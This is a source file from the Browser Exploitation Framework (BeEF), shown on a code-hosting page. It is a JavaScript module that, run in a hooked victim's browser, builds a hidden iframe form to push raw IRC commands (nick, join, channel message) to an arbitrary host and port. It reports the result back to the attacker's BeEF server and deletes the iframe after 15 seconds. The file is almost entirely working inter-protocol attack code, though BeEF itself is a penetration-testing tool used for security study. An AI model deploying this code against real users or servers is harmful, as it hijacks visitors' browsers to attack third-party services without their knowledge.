Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/ipec/inter_protocol_irc/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
/**
8
* Inter protocol IRC module
9
* Developed by jgaliana
10
*
11
* It is known that some IRC servers have protections against browser's connections in order to prevent attacks seen in the wild
12
* http://www.theregister.co.uk/2010/01/30/firefox_interprotocol_attack/
13
*/
14
beef.execute(function() {
15
16
var rhost = '<%= @rhost %>';
17
var rport = '<%= @rport %>';
18
var nick = '<%= @nick %>';
19
var channel = '<%= @channel %>';
20
var message = '<%= @message %>';
21
22
var irc_commands = "NICK " + nick + "\n";
23
irc_commands += "USER " + nick + " 8 * : " + nick + " user\n";
24
irc_commands += "JOIN " + channel + "\n";
25
irc_commands += "PRIVMSG " + channel + " :" + message + "\nQUIT\n";
26
27
// send commands
28
var irc_iframe_<%= @command_id %> = beef.dom.createIframeIpecForm(rhost, rport, "/index.html", irc_commands);
29
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=IRC command sent");
30
31
// clean up
32
cleanup = function() {
33
document.body.removeChild(irc_iframe_<%= @command_id %>);
34
}
35
setTimeout("cleanup()", 15000);
36
37
});
38
39